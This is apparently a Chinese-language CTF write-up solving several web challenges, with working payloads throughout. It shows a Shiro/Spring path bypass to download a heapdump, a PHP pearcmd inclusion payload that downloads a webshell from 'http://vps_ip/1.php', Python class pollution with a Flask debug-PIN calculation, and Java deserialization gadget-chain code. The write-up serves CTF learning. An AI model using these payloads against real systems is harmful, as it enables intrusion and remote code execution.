第3次写wp好激动
Shiro的春天
根据提示,搜索heapdump,得知在shiro存在sping漏洞时
可以访问/actuator/heapdump
获取heapdump文件
为了越权访问该文件
我们在路径前加上/xxx/..;
Shrio 内部处理得到校验URL为 /xxxx/..
,校验通过
SpringBoot 处理 /xxx/..;/actuator/heapdump
, 最终请求 /actuator/heapdump
, 成功访问了后台请求。
heapdump文件是从JVM虚拟机内存导出的,包含了很多敏感信息
如shirokey
我们可以利用如heapdump-tool的工具检索key
获得shirokey之后,我们可以使用shiro利用工具,如shiro-attack
输入shirokey之后,cat flag就行(一定记得用java8环境运行)
包含点啥🤪
根据提示,搜索pecl
搜到了shad0wwalker的文章(
首先$_SERVER['argv']
参数按照+划分,$_GET[]
按照&划分
题目要求$_SERVER['argv']
不超过三个
于是构造如下payload
?file=/usr/local/lib/php/pearcmd&+install+http://vps_ip/1.php
将1.php下载到本地,然后包含1,最后用蚁连接
但是题目还要readflag,并且要计算加法
发现环境中有gcc,于是上传c文件,编译运行,获取flag
斩🗡️相思
进入环境后,查看网页源代码,发现/memory访问该路径
得到py源代码,根据提示搜索污染,并且看到merge,和__file__
显然是原型链污染
{"name":123,
"__init__" : {
"__globals__" : {
"__file__" : "/flag"
}
}
}
虽然下划线被过滤了,但是jsonload时会自动Unicode解码
于是Unicode编码绕过
但是没有flag,环境变量里也没有
发现flask开启了debug模式
在/console会有一个控制台,可以执行命令
不过需要pin码
按照网上的教程,破解该pin码需要6个数据
直接读取相应的文件获取
probably_public_bits = [
'root'# username
'flask.app',# modname
'Flask',# getattr(app, '__name__', getattr(app.__class__, '__name__'))
'/usr/local/lib/python3.10/site-packages/flask/app.py' # getattr(mod, '__file__', None),根据报错页面获得
]
private_bits = [
'2485377892354',# str(uuid.getnode()), /sys/class/net/eth0/address
'41da86c2-9d12-491d-a2ce-7a14a5586f5b'# get_machine_id(), /proc/self/cgroup
]
需要注意,python3的破解脚本要用sha1(),python2的时md5()
破解完了之后可以用popen函数执行任意命令
JVAV守门员
hashCode
java在反序列化时会执行对应类的readObject方法
目标是调用Flag1类的hashCode方法
HashMap类的readObject会调用每一个key的hashCode
所以我们只用把Flag1放进HashMap的key中
Result result=new Result();
HashMap<Flag1,Integer> map = new HashMap<Flag1,Integer>();
map.put(new Flag1(), 1);
result.object=map;
byte[] bytes = SerializationUtil.serialize(result);
System.out.println(Base64.getEncoder().encodeToString(bytes));
toString
这次的目标是toString方法
在 BadAttributeValueExpException 的 readObject 方法中,会调用成员变量 val
的 toString
方法
只需要把Flag2赋值给BadAttributeValueExpException就行
但因为 BadAttributeValueExpException 的构造函数会判断是否为空
如果不为空在序列化时就会执行 toString()
那么反序列化时,因为传入的 entry 已经是字符串,就不会触发 toString 方法
所以我们利用反射设置 val
的值
BadAttributeValueExpException val=new BadAttributeValueExpException(null);
Field valField = val.getClass().getDeclaredField("val");
valField.setAccessible(true);
valField.set(val,new Flag2());
Result result = new Result();
result.object=val;
byte[] bytes = SerializationUtil.serialize(result);
System.out.println(Base64.getEncoder().encodeToString(bytes));
get
本来想直接TiedMapEntry或者AnnotationInvocationHandler触发
但是我本地没有这两个类,不知道题目环境里有没有(我估计大概率没有,因为只有Flag3是继承的HashMap)
所以我们用Hashtable的reconstitutionPut来触发
利用链如下
Gadget chain:
Hashtable.readObject
Hashtable.reconstitutionPut
Flag3.equals
Flag3.get
观察reconstitutionPut代码,发现至少要有两个元素
且两个元素哈希值要相同(&&短路)实际值不同(否则抛出异常,导致flag重置)
for (Entry<?,?> e = tab[index] ; e != null ; e = e.next) {
if ((e.hash == hash) && e.key.equals(key)) {
throw new java.io.StreamCorruptedException();
}
}
Flag3继承自HashMap,观察HashMap的hashCode
public final int hashCode() {
return Objects.hashCode(key) ^ Objects.hashCode(value);
}
是分别计算再异或,value可以设置相同,但key不能相同
因为会调用第一个元素的equals,传入的参数为第二个元素
而第一个元素的equals会调用传入元素(第二个元素)的get,传入的参数为该元素(第一个元素)的key
所以要想等于YulinSec,第一个元素的key必须是YulinSec
根据String的hshCode原理
public int hashCode() {
int h = hash;
if (h == 0 && value.length > 0) {
char val[] = value;
for (int i = 0; i < value.length; i++) {
h = 31 * h + val[i];
}
hash = h;
}
return h;
}
所以我们让第一个Y比Z小1
经过第一轮循环后h的差值就差1
在第二轮循环会扩大为31*1
所以我们可以控制第二个字符u比V大31
刚好抵消了这个差距
最终构造为YulinSec和ZVlinSec
Flag3 map1 = new Flag3();
map1.put("YulinSec",1);
Flag3 map2 = new Flag3();
map2.put("ZVlinSec",1);
Hashtable map = new Hashtable();
map.put(map1, 1);
map.put(map2, 2);
Result result=new Result();
result.object=map;
byte[] bytes = SerializationUtil.serialize(result);
System.out.println(Base64.getEncoder().encodeToString(bytes));
equals
没做出来,粘一份出题人的payload代码(
package cn.yulinsec.gadgetgame.poc;
import cn.yulinsec.gadgetgame.pojo.Flag3;
import cn.yulinsec.gadgetgame.pojo.Flag4;
import cn.yulinsec.gadgetgame.pojo.Result;
import java.io.*;
import java.lang.reflect.Array;
import java.lang.reflect.Constructor;
import java.lang.reflect.Field;
import java.util.Base64;
import java.util.HashMap;
public class HowToEquals implements Serializable{
String name;
public HowToEquals(String name) {
this.name = name;
}
@Override
public boolean equals(Object obj) {
if (obj instanceof HowToEquals) {
System.out.println(String.format("is %s equals to %s ?", this.name, ((HowToEquals) obj).name));
if (this.name == ((HowToEquals) obj).name) {
return true;
}
}
return false;
}
public static void main(String[] args) throws Exception{
Object o1 = new Flag4();
Object o2 = "YulinSec";
HashMap m1 = new HashMap();
HashMap m2 = new HashMap();
m1.put("yy", o2);
m1.put("zZ", o1);
m2.put("yy", o1);
m2.put("zZ", o2);
HashMap<Object, Object> map = makeMap(m1, m2);
System.out.println(map);
Result result = new Result();
Class c = result.getClass();
Field objectField = c.getDeclaredField("object");
objectField.setAccessible(true);
objectField.set(result, map);
byte[] bytes = serialize(result);
String encodedString = Base64.getEncoder().encodeToString(bytes);
System.out.println(encodedString);
deserialize(bytes);
}
// call equals if hash is the same
// o1.equals(o2)
public static HashMap<Object, Object> makeMap(Object o1, Object o2) throws Exception {
HashMap m = new HashMap<>();
setFieldValue(m, "size", 2);
Class<?> nodeC;
try {
nodeC = Class.forName("java.util.HashMap$Node");
} catch (ClassNotFoundException e) {
nodeC = Class.forName("java.util.HashMap$Entry");
}
Constructor<?> nodeCons = nodeC.getDeclaredConstructor(int.class, Object.class, Object.class, nodeC);
nodeCons.setAccessible(true);
Object tbl = Array.newInstance(nodeC, 2);
Array.set(tbl, 0, nodeCons.newInstance(0, o1, 0, null));
Array.set(tbl, 1, nodeCons.newInstance(0, o2, 0, null));
setFieldValue(m, "table", tbl);
return m;
}
public static void setFieldValue(final Object obj, final String fieldName, final Object value) throws Exception {
final Field field = getField(obj.getClass(), fieldName);
if (field != null) {
field.set(obj, value);
}
}
public static Field getField(final Class<?> clazz, final String fieldName) {
Field field = null;
try {
field = clazz.getDeclaredField(fieldName);
field.setAccessible(true);
} catch (NoSuchFieldException ex) {
if (clazz.getSuperclass() != null)
field = getField(clazz.getSuperclass(), fieldName);
}
return field;
}
public static byte[] serialize(Object object) throws IOException {
ByteArrayOutputStream baos = new ByteArrayOutputStream();
ObjectOutputStream oos = new ObjectOutputStream(baos);
oos.writeObject(object);
oos.close();
return baos.toByteArray();
}
public static Object deserialize(byte[] bytes) throws IOException, ClassNotFoundException {
ByteArrayInputStream bais = new ByteArrayInputStream(bytes);
ObjectInputStream ois = new ObjectInputStream(bais);
Object result = ois.readObject();
return result;
}
}